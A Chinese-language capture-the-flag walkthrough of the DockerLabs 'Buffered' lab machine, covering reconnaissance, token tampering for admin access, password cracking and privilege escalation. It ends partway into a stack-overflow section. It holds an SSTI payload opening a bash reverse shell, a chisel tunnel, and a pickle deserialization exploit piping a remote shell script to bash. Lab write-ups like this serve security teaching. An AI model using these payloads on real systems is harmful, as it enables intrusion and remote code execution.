DockerLabs-Buffered-Walkthrough
城南花已开 Lv6

信息收集

服务探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
export ip=172.17.0.2
❯ rustscan -a $ip
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blg :
: https://github.com/RustScan/RustScan :
--------------------------------------
Nmap? More like slowmap.🐢

[~] The config file is expected to be at "/home/Pepster/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 172.17.0.2:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-14 21:07 CST
Initiating ARP Ping Scan at 21:07
Scanning 172.17.0.2 [1 port]
Completed ARP Ping Scan at 21:07, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 21:07
Scanning buffered.dl (172.17.0.2) [1 port]
Discovered open port 80/tcp on 172.17.0.2
Completed SYN Stealth Scan at 21:07, 0.04s elapsed (1 total ports)
Nmap scan report for buffered.dl (172.17.0.2)
Host is up, received arp-response (0.000077s latency).
Scanned at 2025-05-14 21:07:34 CST for 0s

PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 64
MAC Address: 02:42:AC:11:00:02 (Unknown)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.31 seconds
Raw packets sent: 2 (72B) | Rcvd: 2 (72B)

只要80端口开放

浏览器访问一下,发现跳转到http://buffered.dl/

编辑hosts,添加域名

1
2
3
echo "$ip buffered.dl"|sudo tee -a /etc/hosts
[sudo] password for Pepster:
172.17.0.2 buffered.dl

枚举目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
❯ gobuster dir -u http://buffered.dl/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 50 -x php,html,zip,txt -b 404,403
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://buffered.dl/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes: 404,403
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,zip,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 36718]
/assets (Status: 301) [Size: 178] [--> http://buffered.dl/assets/]
/forms (Status: 301) [Size: 178] [--> http://buffered.dl/forms/]
/Readme.txt (Status: 200) [Size: 215]
Progress: 6369160 / 6369165 (100.00%)
===============================================================
Finished
===============================================================

然而并没有什么信息

子域名枚举

尝试枚举子域名,得到一个子域名dashboard.buffered.dl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ wfuzz -c -u "http://buffered.dl/" -H "HOST:FUZZ.buffered.dl" -H "User-Agent:Mozilla/5.0" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hw 2531
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************

Target: http://buffered.dl/
Total requests: 114441

=====================================================================
ID Response Lines Word Chars Payload
=====================================================================

000000516: 200 128 L 414 W 5666 Ch "dashboard - dashboard"

我发现用gobuster扫子域名好像更快一点👀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ gobuster vhost -u "http://buffered.dl" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://buffered.dl
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dashboard.buffered.dl Status: 200 [Size: 5666]
Progress: 114441 / 114442 (100.00%)
===============================================================
Finished
===============================================================

再次编辑hosts文件,添加域名

1
2
echo "$ip buffered.dl dashboard.buffered.dl"|sudo tee -a /etc/hosts
172.17.0.2 buffered.dl dashboard.buffered.dl

浏览器访问一下,有个注册功能

尝试随意注册一下

image

登录后分配了Cookie

看起来像JWT编码,不过解码不出来

image

越权劫持登录

我尝试利用burpsuite抓一下包

发现登录后会有个tokenemail修改为[email protected]即可登录管理员后台

image

SSTI模板注入

发现在搜索功能中存在SSTI模板注入

image

尝试注入payload

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('/bin/bash -c "/bin/bash -i >& /dev/tcp/172.17.0.1/4444 0>&1"').read() }}

用户提权

wilson用户

直接弹个shell过来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ penelope.py
[+] Listening for reverse shells on 0.0.0.0:4444 → 127.0.0.1 • 192.168.60.100 • 172.17.0.1
➤ 🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from bash: grep: command not found
4bbe8f4bb57e-172.17.0.2-Linux-x86_64 😍️ Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[-] Cannot get the TTY of the shell. Response:
bash: tty: command not found
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
[+] Logging to /home/Pepster/.penelope/bash: grep: command not found
4bbe8f4bb57e~172.17.0.2_Linux_x86_64/2025_05_14-22_06_08-366.log 📜
───────────────────────────────────────────────────────────────────────────
bash: groups: command not found
wilson@4bbe8f4bb57e:~$

卧槽,不知道为什么我输入id或者其他命令会出现一个表情包

我看了一下也没有设置alias,并且在这个shell中怎么不能按方向键输历史命令

原来.bashrc中设置了禁用histroy功能,修改后重新source即可,哎呀,咋还是不行

1
2
3
4
5
6
7
8
9
10
11
wilson@4bbe8f4bb57e:~$ tail .bashrc
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
if [ -f /usr/share/bash-completion/bash_completion ]; then
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi
set +o history
set +o vi

或者手动执行启动history也行

1
wilson@4bbe8f4bb57e:/tmp$ set -o history

而且尼玛的curl wget都没有

看了一下环境变量,原来作者故意给我们设置了/home/wilson/.local/bin😅

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
wilson@4bbe8f4bb57e:~$ set
BASH=/usr/bin/bash
BASHOPTS=checkwinsize:cmdhist:complete_fullquote:expand_aliases:extquote:force_fignore:globasciiranges:globskipdots:histappend:hostcomplete:interactive_comments:patsub_replacement:progcomp:promptvars:sourcepath
BASH_ALIASES=()
BASH_ARGC=([0]="0")
BASH_ARGV=()
BASH_CMDS=()
BASH_LINENO=()
BASH_LOADABLES_PATH=/usr/local/lib/bash:/usr/lib/bash:/opt/local/lib/bash:/usr/pkg/lib/bash:/opt/pkg/lib/bash:.
BASH_SOURCE=()
BASH_VERSINFO=([0]="5" [1]="2" [2]="21" [3]="1" [4]="release" [5]="x86_64-pc-linux-gnu")
BASH_VERSION='5.2.21(1)-release'
COLUMNS=150
DIRSTACK=()
EUID=1003
GROUPS=()
HISTCONTROL=ignoreboth
HISTFILE=/home/wilson/.bash_history
HISTFILESIZE=2000
HISTSIZE=1000
HOME=/home/wilson
HOSTNAME=4bbe8f4bb57e
HOSTTYPE=x86_64
IFS=$' \t\n'
LANG=C.UTF-8
LINES=39
LOGNAME=wilson
MACHTYPE=x86_64-pc-linux-gnu
MAIL=/var/mail/wilson
MAILCHECK=60
MUroNdGxDC=UlJRumjRoL
OLDPWD=/home
OPTERR=1
OPTIND=1
OSTYPE=linux-gnu
PATH=/home/wilson/.local/bin
PIPESTATUS=([0]="0")
PPID=1051
PS1='\[\e]0;\u@\h: \w\a\]${debian_chroot:+($debian_chroot)}\[\033[01;32m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
PS2='> '
PS4='+ '
PWD=/home/wilson
SHELL=/usr/bin/bash
SHELLOPTS=braceexpand:emacs:hashall:histexpand:interactive-comments:monitor
SHLVL=3
TERM=xterm-256color
UID=1003
USER=wilson
VzdqfrZEUj=FHkNaYaQfD
WAZGokUqRO=spexbghHhK
WERKZEUG_SERVER_FD=3
_=f
frKrWLZsdi=zDfDaRLGlF
lSmDJxgPld=yQypKonRBg
lujRwTZzWC=lbiIFoJEGa

我们重新设置一下PATH即可

这回有curl了

1
2
3
wilson@4bbe8f4bb57e:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
wilson@4bbe8f4bb57e:~$ curl
curl: try 'curl --help' or 'curl --manual' for more information

得知靶机中存在另外两个用户christine tyler

1
2
3
4
wilson@4bbe8f4bb57e:~$ cat /etc/passwd |grep /bin/bash
root:x:0:0:root:/root:/bin/bash
christine:x:1001:1001::/home/christine:/bin/bash
tyler:x:1002:1002::/home/tyler:/bin/bash

内网5555端口

本地开放好多端口

1
2
3
4
5
6
7
8
wilson@4bbe8f4bb57e:/tmp$ ss -luntp
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
tcp LISTEN 0 128 127.0.0.1:5555 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0 1 127.0.0.1:9000 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:5000 0.0.0.0:* users:(("python3",pid=302,fd=3))
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 511 0.0.0.0:80 0.0.0.0:*

尝试curl一下5555端口,又是一个新的web服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
wilson@4bbe8f4bb57e:/tmp$ curl 127.0.0.1:5555
<!DOCTYPE html>
<html lang="en">

<head>
<meta charset="utf-8">
<meta content="width=device-width, initial-scale=1.0" name="viewport">

<title>Pages / Login - NiceAdmin Bootstrap Template</title>
<meta content="" name="description">
<meta content="" name="keywords">

<!-- Favicons -->
<link href="static/img/favicon.png" rel="icon">
<link href="static/img/apple-touch-icon.png" rel="apple-touch-icon">
…………………………

尝试利用chisel端口转发到本地

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
wilson@4fc0d11ec931:/tmp$ curl 172.17.0.1/chisel -o chisel
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 9152k 100 9152k 0 0 638M 0 --:--:-- --:--:-- --:--:-- 687M
wilson@4fc0d11ec931:/tmp$ chmod +x chisel
wilson@4fc0d11ec931:/tmp$ ./chisel client 172.17.0.1:2333 R:5555:127.0.0.1:
5555&
[1] 621
wilson@4fc0d11ec931:/tmp$ 2025/05/14 08:58:39 client: Connecting to ws://172.17.0.1:2333
2025/05/14 08:58:39 client: Connected (Latency 442.122µs)
-------------------
# kali中执行
❯ ./chisel server -p 2333 --reverse
2025/05/14 22:58:05 server: Reverse tunnelling enabled
2025/05/14 22:58:05 server: Fingerprint N97oiHfS2We6l0x5AFDvM6FQ+reCoBca5sSyuOlal8o=
2025/05/14 22:58:05 server: Listening on http://0.0.0.0:2333
2025/05/14 22:58:39 server: session#1: tun: proxy#R:5555=>5555: Listening

浏览器访问一下,又有一个登录表单

image

并且我们可以在用户根目录中发现dashboard/app.py

获得mysql登录凭证db_manager:Heig9At,

1
2
3
4
5
# Config MySQL
app.config['MYSQL_HOST'] = 'localhost'
app.config['MYSQL_USER'] = 'db_manager'
app.config['MYSQL_PASSWORD'] = 'Heig9At,'
app.config['MYSQL_DB'] = 'myflaskapp'

尝试登录一下

users_old的表中发现除了我们之前注册的用户还存在tyler christine用户的hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
wilson@4fc0d11ec931:~/dashboard$ mysql -h 127.0.0.1 -u db_manager -pHeig9At,
mysql: [Warning] Using a password on the command line interface can be insecure.
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 27
Server version: 8.0.39-0ubuntu0.24.04.1 (Ubuntu)

Copyright (c) 2000, 2024, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| myflaskapp |
| performance_schema |
+--------------------+
3 rows in set (0.01 sec)

mysql> use myflaskapp;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+----------------------+
| Tables_in_myflaskapp |
+----------------------+
| infrastructure_list |
| users |
| users_old |
+----------------------+
3 rows in set (0.00 sec)

mysql> select * from users;
+----+--------------------+-------------------------------------------------------------------------------+-------+
| id | email | password | role |
+----+--------------------+-------------------------------------------------------------------------------+-------+
| 1 | [email protected] | $5$rounds=535000$gdgvlJGiCppSjhjF$qsbyr/0gt1jn6TFVSqBbNuT7V80L8Q1ZO2i/ncboW43 | admin |
| 9 | [email protected] | $5$rounds=535000$bd4mhu.kst.nfzLt$WxIaokZfDMCPUV45.FoxJJZskGiEE3EEMLZB6jB5NZ9 | user |
| 10 | [email protected] | $5$rounds=535000$xRWXkIg0qdYjRjWY$Eu8pIk8JMMdnVYzYhFiZt1uDMMT9I3Md2sJ9PxkrIi0 | user |
+----+--------------------+-------------------------------------------------------------------------------+-------+
3 rows in set (0.00 sec)
mysql> select * from users_old;
+----+-----------------------+--------------------------------------------------------------+-----------+
| id | email | password | role |
+----+-----------------------+--------------------------------------------------------------+-----------+
| 1 | [email protected] | $2y$10$r0547dSzx5IU3aMqifomSOxiksd18H9uw6jtUABG1gaXm4i536SWG | admin |
| 2 | [email protected] | $2y$10$z2.Hbp46qdxtejA73XZyv.ScuBc4x79YytjeGpN8twSB2zFRdfrsq | support |
| 3 | [email protected] | $2y$10$FJCGWarfD8uN8wX2ynyrLeBmPwFygBkV9DBt5A67RloYZFQkPeNDS | dev |
| 4 | [email protected] | $2y$10$QYb/E/Rby6El2m4yfhfKf.eyX2.fz2zzNI8.xT8ihfwfKFT2WlDya | marketing |
+----+-----------------------+--------------------------------------------------------------+-----------+
4 rows in set (0.01 sec)

通过查看进程可以得知除了wilson当前用户在运行python程序外,还有christi也在运行家目录中的app.py

1
2
3
4
5
wilson@4fc0d11ec931:~/dashboard$ ps aux|grep python
root 295 0.0 0.3 34680 28284 ? S 08:48 0:00 /usr/bin/python3 /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf
root 297 0.0 0.0 4812 2928 ? S 08:48 0:00 /bin/su - christine -c python /home/christine/.site/APP_3411/app.py
christi+ 299 0.0 0.6 534376 50972 ? Ss 08:48 0:00 python /home/christine/.site/APP_3411/app.py
wilson 304 0.0 0.7 731324 59072 ? Ssl 08:48 0:01 /usr/bin/python3 /home/wilson/dashboard/app.py

有点猜谜的感觉了,并且我们可以在同级目录中发现.pwgen.py

根据文件名和内容可以猜测就是密码生成的脚本,大概是故意留下的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
wilson@4fc0d11ec931:~/dashboard$ ls -al
total 36
drwxr-xr-x 4 wilson wilson 4096 Jul 31 2024 .
drwxr-x--- 1 wilson wilson 4096 Aug 2 2024 ..
-rw-rw-r-- 1 wilson wilson 496 Jul 31 2024 .pwgen.py
-rwxr-xr-x 1 wilson wilson 14594 Jul 31 2024 app.py
drwxr-xr-x 7 wilson wilson 4096 Jul 20 2024 static
drwxr-xr-x 3 wilson wilson 4096 Jul 30 2024 templates
wilson@4fc0d11ec931:~/dashboard$ cat .pwgen.py
import random

def generate_password():
first_name = input("Enter your first name: ")
last_name = input("Enter your last name: ")
password = f"{first_name[0].lower()}.{last_name.lower()}@buffered_"
number = random.randint(0, 999999)
formatted_number = f"{number:06d}" # add padding to the left; i.e. 000001
password += formatted_number
return password

# Generate the password
generated_password = generate_password()
print("Generated password:", generated_password)

有点像CUPP工具,我们可以利用人名来生成密码,尝试生成christine

从之前的80端口中得知christine的lastname为Ross

image

得到密码c.ross@buffered_xxxxxx

后面是随机的六位密码

1
2
3
4
5
6
7
8
wilson@4fc0d11ec931:~/dashboard$ python3 .pwgen.py
Enter your first name: Christine
Enter your last name: Ross
Generated password: c.ross@buffered_032838
wilson@4fc0d11ec931:~/dashboard$ python3 .pwgen.py
Enter your first name: Christine
Enter your last name: Ross
Generated password: c.ross@buffered_997880

所以尝试利用python生成字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import sys

def generate_dictionary(output_file):
with open(output_file, 'w') as f:
for i in range(0, 1000000): # 覆盖 000000 到 999999
# 格式化为6位数字,不足补零
num_str = f"{i:06d}"
f.write(f"c.ross@buffered_{num_str}\n")

if __name__ == "__main__":
if len(sys.argv) != 2:
print("Usage: python generate_dict.py output.txt")
sys.exit(1)
generate_dictionary(sys.argv[1])

以此字典来爆破上面得到的christine用户hash

得到明文c.ross@buffered_001337

1
2
3
4
5
6
7
8
9
10
11
❯ python3 generate_dict.py dic.txt
❯ john hash --wordlist=dic.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
c.ross@buffered_001337 (?)
1g 0:00:00:03 DONE (2025-05-14 23:36) 0.2666g/s 364.8p/s 364.8c/s 364.8C/s c.ross@buffered_001296..c.ross@buffered_001367
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

尝试登录一下5555端口开放的服务

路径遍历漏洞

发现可以下载报告

image

查看一下,也就是之前尝试登录过的记录

image

通过查看源代码可以发现有个输入表单被隐藏了,我们修改值为enable即可显示

尝试修改一下文件名为../../../etc/passwd

再次下载,发现是存在路径穿越漏洞的

image

反序列化漏洞

所以我们可以尝试下载/home/christine/.site/APP_3411/app.py查看源码

全部丢给GPT审计一下代码

发现在/submit_review 路由存在反序列化漏洞

使用 pickle.loads 反序列化用户可控的 mydata 参数,攻击者可构造恶意 payload 实现 远程代码执行 (RCE)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
from flask import Flask, send_file, render_template, redirect, url_for, request, session, flash, jsonify, abort
from werkzeug.security import generate_password_hash # Keep this for password hashing
from passlib.context import CryptContext # Import CryptContext from passlib
import pickle
import mysql.connector
import base64
import logging
import os

app = Flask(__name__)
app.secret_key = 'your_secret_key'

pwd_context = CryptContext(schemes=["sha256_crypt"], deprecated="auto")

db_config = {
'user': 'db_marketing_manager',
'password': 'usyaw4Onn+',
'host': 'localhost',
'database': 'marketing_site',
'use_pure': True,
'auth_plugin': 'mysql_native_password',
'ssl_disabled': True,
}


def get_user(username):
conn = mysql.connector.connect(**db_config)
cursor = conn.cursor(dictionary=True)
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
user = cursor.fetchone()
cursor.close()
conn.close()
return user

@app.route('/generate_report', methods=['POST'])
def generate_report():
# Get the filename from the form data or default to 'logins.txt'
filename = request.form.get('report', 'logins.txt')

# Directly construct the file path (making it vulnerable to LFI)
filepath = os.path.join('.', filename)

print(f"Generated file path: {filepath}")

# Check if the file exists
if os.path.exists(filepath):
return send_file(filepath, as_attachment=True) # Sends the file as an attachment
else:
abort(404) # Return 404 if the file does not exist

@app.route('/', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = get_user(username)

if user and pwd_context.verify(password, user['password']):
session['logged_in'] = True
session['user_id'] = user['id']
flash('Login successful!')
with open('/home/christine/.site/APP_3411/logins.txt', 'a') as log_file:
log_file.write(f"[+] Successful login attempt by user: {username} from IP: {request.remote_addr}\n")
return redirect(url_for('dashboard'))
else:
flash('Invalid credentials. Please try again.')
with open('/home/christine/.site/APP_3411/logins.txt', 'a') as log_file:
log_file.write(f"[!] Unsuccessful login attempt by user: {username} from IP: {request.remote_addr}\n")

return render_template('pages-login.html')

……………………………………

@app.route('/submit_review', methods=['POST'])
def submit_review():
product_name = request.form.get('product_name')
review_text = request.form.get('review_text')
rating = request.form.get('rating')
mydata = request.form.get('mydata')
if mydata:
try:
mydata_bytes = base64.b64decode(mydata)
data = pickle.loads(mydata_bytes)
print("Deserialized data:", data)
except Exception as e:
print("Deserialization error:", e)
if save_review(product_name, review_text, rating):
return jsonify({"status": "success", "message": "Review submitted!"}), 200
else:
return jsonify({"status": "error", "message": "Failed to submit review."}), 500

def save_review(product_name, review_text, rating):
return True

if __name__ == '__main__':
app.run(host='127.0.0.1', port=5555)

尝试生成payload

1
2
3
4
5
6
7
8
9
10
11
cat exp.py
import pickle, base64
import os
class Exploit:
def __reduce__(self):
return (os.system, ('curl 172.17.0.1/shell.sh | bash',))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
print(payload)
❯ python3 exp.py
gASVOgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjB9jdXJsIDE3Mi4xNy4wLjEvc2hlbGwuc2ggfCBiYXNolIWUUpQu
❯ curl -s "http://127.0.0.1:5555/submit_review" -X POST -d "mydata=gASVOgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjB9jdXJsIDE3Mi4xNy4wLjEvc2hlbGwuc2ggfCBiYXNolIWUUpQu" -H "Content-Type: application/x-www-form-urlencoded"

Christine用户

同时监听端口,拿到christine的shell了

并且当前用户还存在ftp用户组中

1
2
3
4
5
6
7
8
9
[+] Got reverse shell from 4fc0d11ec931-172.17.0.2-Linux-x86_64 😍️ Assigned SessionID <2>
(Penelope)─(Session [1])> interact 2
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [2], Shell Type: PTY, Menu key: F12
[+] Logging to /home/Pepster/.penelope/4fc0d11ec931~172.17.0.2_Linux_x86_64/2025_05_15-00_00_16-748.log 📜
───────────────────────────────────────────────────────────────────────────
christine@c97d11830a6f:~$ id
uid=1001(christine) gid=1001(christine) groups=1001(christine),1004(ftp)

尝试寻找ftp用户组的文件,在根目录中存在/ftp文件夹

1
2
christine@c97d11830a6f:~$ find / -group ftp 2>/dev/null
/ftp

尝试运行一下,发现端口已经被占用了

Stack Overflow

查看相关进程得知tyler用户正在运行家目录下的bufferbot

1
2
3
4
5
6
7
8
9
10
christine@c97d11830a6f:/ftp$ ls -al
total 24
drwxr-x--- 2 root ftp 4096 Jul 31 2024 .
drwxr-xr-x 1 root root 4096 May 15 06:04 ..
-rwxr-xr-x 1 root root 15448 Jul 31 2024 bufferbot
christine@c97d11830a6f:/ftp$ ./bufferbot
bind: Address already in use
christine@c97d11830a6f:/ftp$ ps aux|grep buffer
root 298 0.0 0.0 4812 3052 ? S 06:04 0:00 /bin/su - tyler -c /home/tyler/.dev/bufferbot
tyler 302 0.0 0.0 2820 1156 ? Ss 06:04 0:00 /home/tyler/.dev/bufferbot

猜测bufferbot和运行的是同个文件,传到本地分析一下

1
2
3
4
5
6
christine@c97d11830a6f:/ftp$
[!] Session detached ⇲

(Penelope)─(Session [2])> download /ftp/bufferbot
[+] Download OK '/home/Pepster/.penelope/c97d11830a6f~172.17.0.2_Linux_x86_64/downloads/ftp/bufferbot'

得知端口开放在9000端口上

image

尝试利用nc连接一下,可以尝试输入字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
christine@c97d11830a6f:/tmp/toolkit-apcMhgmr$ ./busybox nc 127.0.0.1 9000
⠀⣁⠒⣠⣌⢓⡙⣿⣿⡁⠨⢉⣐⠢⣸⣿⣿⣿⣿⣾⣿⣷⣾⣿⣯⣿⣿⣿⣿⣇⠂⣂⡋⠥⠊⣿⣿⢏⡞⣫⣄⠐⢀⡀
⣠⣶⣿⣿⣿⠌⠷⠹⣿⡿⡠⢘⣫⣾⣿⣿⣿⡿⢛⣫⣭⡶⠶⣭⣍⡛⢿⣿⣿⣿⣿⣝⡁⢄⢺⣿⠿⠼⠅⣿⣿⣿⣶⣦
⣿⣿⣿⣿⡿⡘⣱⣟⡂⠜⣴⣿⣿⣿⣿⡿⣩⣎⣿⣟⢪⢇⡰⣗⣿⣿⣇⣌⠻⣿⣿⣿⣿⣦⠳⢒⣿⣎⢃⢿⣿⣿⣿⣿
⣿⣿⣿⣿⠣⠰⣾⡶⠉⣼⣿⣿⣿⣿⢏⣾⡿⢿⣿⣮⢘⣆⠱⡂⣵⣿⣿⢿⣷⡙⣿⣿⣿⣿⣧⠫⢶⣷⠆⠜⣿⣿⢿⣿
⢿⣯⣪⣿⡄⢘⣽⣭⡆⣿⣿⣿⣿⡟⣼⣿⣷⢾⠳⠟⣹⢿⡶⣿⠻⠾⣻⣿⣿⣧⢹⣿⣿⣿⣿⢸⣭⣯⡇⢢⣿⣯⢪⣿
⢌⢿⣿⣿⣷⡈⢵⢿⣗⡸⣿⣿⣿⡇⠛⣿⡓⠁⢀⣀⡀⠈⠉⠀⣀⡀⠀⢩⡟⠋⢸⣿⣿⣿⢇⣺⡿⡮⢁⣾⣿⣿⣿⢏
⠹⣆⡛⢿⣿⣿⡄⢋⡏⠷⣈⠻⣿⣷⡀⣿⠇⠀⢾⣿⡿⠀⠀⢸⣿⡿⠀⢸⡀⠀⣼⣿⠟⣁⡺⢩⣝⢠⣾⣿⣿⠟⣁⢮
⣄⠈⠊⣢⡼⡶⣶⣿⣧⣦⡁⢋⠖⡭⢡⠄⠞⠄⣄⠈⠀⠀⠀⠀⠈⣀⡄⠢⠁⡌⢭⡲⡝⠊⣠⣮⣿⣶⡶⡲⣤⡛⠊⠂
⣭⡅⢺⣿⣇⣁⣼⣿⣶⣿⣷⡀⠘⠀⢥⣄⠀⠀⠋⠀⢿⠀⠀⢾⠀⠸⠁⠀⡀⣘⡁⠁⢀⣾⣿⣷⣿⣿⣌⣁⣿⣿⠃⣬
⢛⣡⣟⣿⣿⣏⣎⣿⡿⢿⣯⣷⢹⣆⠉⠻⣯⣖⣤⠄⣈⣀⣀⣀⠠⣤⣲⣼⠟⠁⢠⡟⡼⣭⣿⢿⣿⣯⣏⣿⣿⣟⣧⣙
⣿⣻⣿⣿⣻⣟⣷⣿⣿⣷⣶⢸⢸⣿⣿⣆⡄⡉⠛⠻⠿⠹⠏⠽⠛⠛⢉⢠⣰⣶⣿⣇⠇⢶⣾⣿⣿⣿⣿⣿⣻⣿⣿⣻
⢯⣽⣾⡟⣿⣿⣻⠱⣥⢸⠀⢀⣺⣿⢿⣷⣕⣹⣾⣧⣴⣶⣶⣦⣴⣷⣯⣨⢾⣿⣿⣿⡄⠈⠉⢮⡷⡋⣿⣿⣟⢿⣿⣭
⠧⡞⠩⠅⣚⣛⠃⢐⣒⠠⠂⣬⣿⡿⠾⢷⣿⣿⣿⣿⡿⣟⣛⢿⣿⣿⣿⣿⣿⠷⢿⣿⡶⠐⠨⢒⡒⠑⢛⣛⡓⠭⢑⢢
⣠⣤⣀⡀⠀⠀⠀⠀⠀⠀⠸⣿⣯⢪⣿⡵⣽⣿⣿⣽⡜⣾⣷⢱⢫⣿⣿⡟⡟⣽⣝⡞⣿⣆⠀⠀⠀⠀⠀⠀⠀⢀⣀⣤
⣩⣉⣓⠻⠿⡖⠠⠄⠀⠀⠴⣿⣏⢮⣉⡵⣻⣿⣿⣿⣾⣢⣴⣪⣿⣿⣿⣧⡣⣙⡡⣣⣿⣆⠀⠀⠀⠤⠐⣲⠿⢛⣊⣉
⣛⣛⠺⢿⣶⡤⣀⠀⠀⠀⠈⢿⠟⣿⣶⣯⢿⣟⡻⠿⠭⠭⠭⠭⠿⠟⣻⡿⢵⣷⣿⠻⢻⠃⠀⠀⠀⢀⡠⢴⣾⠿⢒⣛
⡕⡪⢝⢶⡬⡉⠀⠀⠀⠀⠀⢀⡙⠏⠓⠈⣁⣀⣤⣤⣤⣤⣤⣤⣤⣀⣀⣈⠉⠚⠩⢟⡁⠀⢀⠀⠀⠁⠀⡩⣴⢾⡫⣕
[ B u f f e r b o t ]

ret2shellcode

检查程序保护措施,32位并且No Canary即没有开启栈保护,可以覆盖返回地址

并且No PIE即代码段基地址固定,可预测

1
2
3
4
5
6
7
8
9
10
❯ checksec bufferbot
[*] '/mnt/c/Users/maple/Desktop/tmp/bufferbot'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x8048000)
Stack: Executable
RWX: Has RWX segments
Stripped: No

我们先放到本地运行一下,尝试有无栈溢出漏洞

1
2
3
4
5
